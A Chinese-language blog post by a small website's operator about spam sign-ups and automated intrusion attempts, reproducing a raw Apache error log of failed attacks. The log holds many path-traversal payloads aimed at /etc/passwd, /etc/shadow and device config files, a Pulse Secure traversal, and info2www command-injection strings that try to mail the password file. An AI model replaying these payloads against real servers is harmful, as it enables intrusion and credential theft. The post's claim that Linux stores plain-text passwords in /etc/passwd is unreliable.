除了每天都有垃圾郵件、垃圾廣告寄件者Spammer想要跑來註冊新的帳號,亂發免費的垃圾廣告,還有更多企圖入侵insoler網站的駭客們!
雖然我們的會員註冊方式非常簡單,更不需要收任何的認證郵件,但是卻完全沒有任何的Spammer可以通過我們的reCAPTCHA隱形圖形識別碼!因此想要註冊成功的Spammer,只好手動註冊新的帳號,再故意等個幾天,然後想要試著在討論區、文章底下的討論亂貼垃圾廣告!
如果insoler不是奈米級社群網站,而是每天都有幾十萬、幾百萬會員在網站上活動,極少數的Spammer廣告,或許很容易就會被我們的管理人員忽略。但是在一個幾乎沒有人要來的奈米級社群網站上,想要註冊新的帳號,亂貼免費垃圾廣告,卻想要逃過我們的眼力,就想的太簡單了!
除了極少數的Spammer手動註冊新的帳號(只要一貼垃圾廣告就會被我刪除會員帳號與所有資料!),事實上從insoler的防火牆上,幾乎每幾分鐘就有駭客想要攻擊、入侵insoler網站!
這是全新FortiGate 61F防火牆(使用目前最新的FortiOS 6.4.0 build 1579版)的「轉發流量」的記錄:
你可以看到所有的攻擊目的全部都是insoler社群網站!來源國則是幾乎全球各國都有!在FortiGate 61F防火牆上會記錄所有企圖想要攻擊、入侵網站的駭客的網路埠。但如果是想要從標準的https的443網路埠入侵的駭客,除了可能會被「入侵偵測」發現以外,還會因為錯誤的行為而被Apache擔任的Web Server網站伺服器,記錄在error_log檔案裡面!
我很少公布、公開error_log的內容,並不是這些內容是屬於「機密檔案」,完全只是因為error_log內容千篇一律、從2000年架設網站至今,二十年以來都幾乎是大同小異,全部都只是愚蠢駭客的攻擊行為而已!
最多的攻擊行為就是試圖使用「超長網址」看看能不能引發Apache的安全性漏洞,或是PHP程式的安全性漏洞,進而可以取得更多伺服器主機的控制權,甚至入侵成功?很明顯,他們嘗試了20年,從來都沒有任何駭客成功過!
由於全球的網站幾乎全部都是使用Linux與Windows架設,極少數中的極少數(應該小於數億分之一)才會像我一樣使用macOS來架設網站。因此駭客們就會很自然的想要試圖直接開啟Linux或是Windows系統專有的系統檔案!例如 /etc/ 系統檔案夾裡面的passwd檔案!
從error_log錯誤記錄的時間來看,這些嘗試入侵的動作都不可能是「手動」輸入網址!而是使用程式碼自動進行各種測試,看看有沒有某一種方式可以入侵成功!
為什麼企圖入侵的駭客會想要從網址列開啟 /etc/passwd 檔案?這到底是什麼樣的檔案?在Wiki維基百科就有說明:
簡單的說,/etc/passwd檔案記錄這台電腦的使用者帳號名稱、密碼,如果可以從遠端成功開啟這個檔案,就可以知道insoler的這台電腦主機的管理者帳號、密碼!想要入侵這台電腦就更是輕鬆簡單!
既然駭客們這麼想要知道/etc/passwd檔案內容,那我就幫駭客一個大忙,免費公開一下這個檔案內容!我並沒有因為想要公開,就故意修改passwd這個檔案的內容之後再公開改造後的內容,因此絕對是全世界所有的macOS Catalina 10.15的電腦上,都有完全相同的passwd檔案內容!
所以在這個User Database使用者資料庫的/etc/passwd檔案裡面,會有使用者帳號名稱、密碼?當然絕對沒有!我前面有提到,我並沒有修改passwd檔案檔案內容,而且全世界所有的macOS Catalina 10.15的電腦裡面,都有完全相同的passwd檔案內容,當然就不可能會找到使用者名稱、密碼!
或許所有的Linux系統都是把電腦上的使用者名稱、密碼記錄在/etc/passwd這個檔案裡面,甚至是以純文字的方式直接寫入,任何人一看就非常清楚帳號、密碼,但是Apple為了安全性,很明顯並不使用這個檔案!
底下是error_log一部分的錯誤記錄。內容完全真實,並沒有刪除或是修改任何資料!由於error_log檔案非常龐大,都是駭客們的失敗紀錄,沒有保存的價值,因此會在累積一段時間以後刪除整個檔案!
[Sun May 03 02:22:44.890525 2020] [core:error] [pid 14565] [client 185.234.217.241:41076] AH00126: Invalid URI in request 'boot.ini' 'GET /../../../../../../../../../boot.ini HTTP/1.1'
[Sun May 03 02:22:44.962207 2020] [core:error] [pid 14663] [client 185.234.217.241:43438] AH00126: Invalid URI in request '.../boot.ini' 'GET ////./../.../boot.ini HTTP/1.1'
[Sun May 03 02:22:45.313318 2020] [core:error] [pid 14666] [client 185.234.217.241:43052] AH00126: Invalid URI in request 'etc/passwd' 'GET /DomainFiles/*//../../../../../../../../../../etc/passwd HTTP/1.1'
[Sun May 03 02:22:52.666958 2020] [php7:error] [pid 14577] [client 185.234.217.241:46798] script '/usr/local/var/www/cgi-bin/common.php' not found or unable to stat
[Sun May 03 02:23:13.391806 2020] [core:error] [pid 14668] [client 185.234.217.241:53364] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi.cgi/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:13.690252 2020] [core:error] [pid 14577] [client 185.234.217.241:54282] AH00126: Invalid URI in request 'etc/passwd' 'GET /webcgi/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:14.000947 2020] [core:error] [pid 14661] [client 185.234.217.241:53446] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-914/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:14.288673 2020] [core:error] [pid 14656] [client 185.234.217.241:54246] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-915/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:14.575651 2020] [core:error] [pid 14580] [client 185.234.217.241:55542] AH00126: Invalid URI in request 'etc/passwd' 'GET /bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:14.862286 2020] [core:error] [pid 14565] [client 185.234.217.241:55850] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:15.149621 2020] [core:error] [pid 14545] [client 185.234.217.241:55866] AH00126: Invalid URI in request 'etc/passwd' 'GET /mpcgi/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:15.442362 2020] [core:error] [pid 14656] [client 185.234.217.241:55862] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:15.778232 2020] [core:error] [pid 14548] [client 185.234.217.241:55428] AH00126: Invalid URI in request 'etc/passwd' 'GET /ows-bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:16.064965 2020] [core:error] [pid 14663] [client 185.234.217.241:56744] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-sys/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:16.351793 2020] [core:error] [pid 14545] [client 185.234.217.241:57012] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-local/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:16.639538 2020] [core:error] [pid 14661] [client 185.234.217.241:57120] AH00126: Invalid URI in request 'etc/passwd' 'GET /htbin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:17.054320 2020] [core:error] [pid 14548] [client 185.234.217.241:57026] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgibin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:17.372919 2020] [core:error] [pid 14670] [client 185.234.217.241:57118] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgis/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:17.662004 2020] [core:error] [pid 14662] [client 185.234.217.241:58050] AH00126: Invalid URI in request 'etc/passwd' 'GET /scripts/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:17.949066 2020] [core:error] [pid 14565] [client 185.234.217.241:58118] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-win/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:18.235553 2020] [core:error] [pid 14548] [client 185.234.217.241:58416] AH00126: Invalid URI in request 'etc/passwd' 'GET /fcgi-bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:18.522301 2020] [core:error] [pid 14670] [client 185.234.217.241:58306] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-exe/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:18.856946 2020] [core:error] [pid 14662] [client 185.234.217.241:58538] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-home/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:19.159626 2020] [core:error] [pid 14668] [client 185.234.217.241:58120] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-perl/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:19.446273 2020] [core:error] [pid 14665] [client 185.234.217.241:59644] AH00126: Invalid URI in request 'etc/passwd' 'GET /scgi-bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:19.733076 2020] [core:error] [pid 14664] [client 185.234.217.241:59980] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-bin-sdb/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:20.040114 2020] [core:error] [pid 14521] [client 185.234.217.241:58346] AH00126: Invalid URI in request 'etc/passwd' 'GET /cgi-mod/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:20.372876 2020] [core:error] [pid 14669] [client 185.234.217.241:59994] AH00126: Invalid URI in request 'etc/passwd' 'GET /../../../../../../../../../../etc/passwd HTTP/1.1'
[Sun May 03 02:23:20.955441 2020] [core:error] [pid 14668] [client 185.234.217.241:59986] AH00126: Invalid URI in request 'etc/passwd' 'GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1'
[Sun May 03 02:23:22.437504 2020] [core:error] [pid 14548] [client 185.234.217.241:60790] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi.cgi/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:22.759778 2020] [core:error] [pid 14549] [client 185.234.217.241:32826] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /webcgi/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:23.123504 2020] [core:error] [pid 14656] [client 185.234.217.241:32836] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-914/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:23.410391 2020] [core:error] [pid 14565] [client 185.234.217.241:34402] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-915/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:23.698394 2020] [core:error] [pid 14580] [client 185.234.217.241:34422] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /bin/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:23.985102 2020] [core:error] [pid 14571] [client 185.234.217.241:34712] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:24.271729 2020] [core:error] [pid 14656] [client 185.234.217.241:34616] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /mpcgi/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:24.624984 2020] [core:error] [pid 14577] [client 185.234.217.241:32994] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-bin/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:24.946274 2020] [core:error] [pid 14663] [client 185.234.217.241:34664] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /ows-bin/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:25.232928 2020] [core:error] [pid 14668] [client 185.234.217.241:35560] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-sys/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:25.519971 2020] [core:error] [pid 14672] [client 185.234.217.241:35750] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-local/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:25.807676 2020] [core:error] [pid 14661] [client 185.234.217.241:34620] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /htbin/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:26.095636 2020] [core:error] [pid 14580] [client 185.234.217.241:35578] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgibin/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:26.415607 2020] [core:error] [pid 14577] [client 185.234.217.241:35582] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgis/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:26.702399 2020] [core:error] [pid 14545] [client 185.234.217.241:36538] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /scripts/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:26.988911 2020] [core:error] [pid 14580] [client 185.234.217.241:36544] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-win/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:27.246479 2020] [core:error] [pid 14656] [client 185.234.217.241:36534] AH00126: Invalid URI in request 'etc/passwd' 'GET /file/../../../../../../../../etc/passwd HTTP/1.1'
[Sun May 03 02:23:27.275409 2020] [core:error] [pid 14663] [client 185.234.217.241:36924] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /fcgi-bin/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:27.618535 2020] [core:error] [pid 14521] [client 185.234.217.241:35760] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-exe/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:27.984861 2020] [core:error] [pid 14669] [client 185.234.217.241:36746] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-home/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:28.271659 2020] [core:error] [pid 14571] [client 185.234.217.241:37620] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-perl/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:28.558167 2020] [core:error] [pid 14521] [client 185.234.217.241:37754] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /scgi-bin/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:28.845469 2020] [core:error] [pid 14548] [client 185.234.217.241:37630] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-bin-sdb/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:29.162432 2020] [core:error] [pid 14663] [client 185.234.217.241:37794] AH00126: Invalid URI in request 'bin/mail root </etc/passwd>' 'GET /cgi-mod/info2www%20%27%28../../../../../../../bin/mail%20root%20%3C/etc/passwd%3E HTTP/1.1'
[Sun May 03 02:23:30.272909 2020] [core:error] [pid 14665] [client 185.234.217.241:39130] AH00126: Invalid URI in request 'etc/*' 'GET /../../../../../../../../../../etc/* HTTP/1.1'
[Sun May 03 02:23:30.506763 2020] [core:error] [pid 14675] [client 185.234.217.241:37854] AH00126: Invalid URI in request 'etc/passw*' 'GET /../../../../../../../../../../etc/passw* HTTP/1.1'
[Sun May 03 02:23:31.300843 2020] [core:error] [pid 14674] [client 185.234.217.241:38958] AH00126: Invalid URI in request 'config.dat' 'GET /../config.dat HTTP/1.1'
[Sun May 03 02:23:39.030226 2020] [core:error] [pid 14565] [client 185.234.217.241:40258] AH00126: Invalid URI in request 'data/config/microsrv.cfg' 'GET ////../../data/config/microsrv.cfg HTTP/1.1'
[Sun May 03 02:23:39.033268 2020] [core:error] [pid 14665] [client 185.234.217.241:40294] AH00126: Invalid URI in request 'etc/passwd' 'GET ////////../../../../../../etc/passwd HTTP/1.1'
[Sun May 03 02:23:51.442646 2020] [core:error] [pid 14565] [client 185.234.217.241:53052] AH00126: Invalid URI in request 'etc/vmware/hostd/vmInventory.xml' 'GET /sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/vmware/hostd/vmInventory.xml HTTP/1.1'
[Sun May 03 02:23:52.965278 2020] [core:error] [pid 14670] [client 185.234.217.241:53386] AH00126: Invalid URI in request 'windows/dvr2.ini' 'GET /../../windows/dvr2.ini HTTP/1.1'
[Sun May 03 02:23:53.155678 2020] [core:error] [pid 14664] [client 185.234.217.241:53360] AH00126: Invalid URI in request 'etc/passwd' 'GET /htdocs/../../../../../../../../../../../etc/passwd HTTP/1.1'
[Sun May 03 02:23:53.312901 2020] [core:error] [pid 14577] [client 185.234.217.241:54130] AH00126: Invalid URI in request 'etc/shadow' 'GET /help/../../../../../../../../../../../../../../../../etc/shadow HTTP/1.1'
[Sun May 03 02:23:58.669510 2020] [core:error] [pid 14665] [client 185.234.217.241:57596] AH00126: Invalid URI in request 'etc/passwd' 'GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1'
[Sun May 03 16:04:51.632218 2020] [core:error] [pid 15060] (63)File name too long: [client 2607:5300:60:3880::1:45042] AH00127: Cannot map GET /m/news/view/
雖然幾乎沒有人想要來insoler註冊新的帳號、參與討論、上傳照片、分享生活點滴,但卻每天都有許多駭客、Spammer想要跑來註冊新的帳號,亂發免費的垃圾廣告,這是我們的榮幸?不幸?